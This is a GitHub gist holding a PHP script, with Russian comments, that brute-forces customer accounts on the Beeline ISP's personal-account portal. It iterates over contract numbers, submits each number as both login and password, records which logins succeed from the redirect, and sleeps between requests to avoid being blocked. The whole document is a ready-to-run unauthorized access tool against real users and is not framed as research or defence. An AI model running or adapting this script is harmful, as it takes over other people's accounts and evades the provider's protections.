Created
June 25, 2011 13:49
-
-
Save olkeene/1046508 to your computer and use it in GitHub Desktop.
search for login-password matches in beeline isp
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// хостинг должен поддерживать SSL-соединение | |
$prefix = '089'; | |
$start = 489****; // вместо звездочек подставить цифры | |
$end = 489****; // вместо звездочек подставить цифры | |
$array = array(); | |
for ($i = $start; $i<$end; $i++) { | |
$dogovor = $prefix.$i; | |
// обращение к странице логина для взятия куки | |
$sock = fsockopen("ssl://lk.beeline.ru", 443, $errno, $errstr, 30); | |
if (!$sock) die("$errstr ($errno)\n"); | |
fputs($sock, "GET / HTTP/1.0\r\n"); | |
fputs($sock, "Host: lk.beeline.ru\r\n"); | |
fputs($sock, "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:2.0.1)\r\n"); | |
fputs($sock, "Accept: */*\r\n"); | |
fputs($sock, "Content-Type: application/x-www-form-urlencoded\r\n\r\n"); | |
$headers = ""; | |
while ($str = trim(fgets($sock, 4096))) { | |
$headers .= "$str\n"; | |
} | |
fclose($sock); | |
preg_match_all("/Set-Cookie: (.+)(;|\r)/iUs", $headers, $cook); | |
$cookie = implode('; ',array_unique($cook[1])); | |
// POST-запрос с логином и паролем | |
$sock = fsockopen("ssl://lk.beeline.ru", 443, $errno, $errstr, 30); | |
if (!$sock) die("$errstr ($errno)\n"); | |
$data = 'login='.$dogovor.'&password='.$dogovor.'&check=1'; | |
fputs($sock, "POST / HTTP/1.0\r\n"); | |
fputs($sock, "Host: lk.beeline.ru\r\n"); | |
fputs($sock, "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:2.0.1)\r\n"); | |
fputs($sock, "Accept: */*\r\n"); | |
fputs($sock, "Cookie: ".$cookie."\r\n"); | |
fputs($sock, "Content-Type: application/x-www-form-urlencoded\r\n"); | |
fputs($sock, "Content-Length: ".strlen($data)."\r\n\r\n"); | |
fputs($sock, $data."\r\n"); | |
$headers = ""; | |
while ($str = trim(fgets($sock, 4096))) { | |
$headers .= "$str\n"; | |
} | |
fclose($sock); | |
$correct = 0; | |
if (strpos($headers,'Location: http://lk.beeline.ru/news/') !== false) { | |
$correct = 1; | |
} | |
$array[] = array('dogovor'=>$dogovor,'correct' => $correct); | |
sleep(1); // задержка на 1 секунду для защиты от блокировок со стороны Билайна | |
} | |
print_r($array); | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment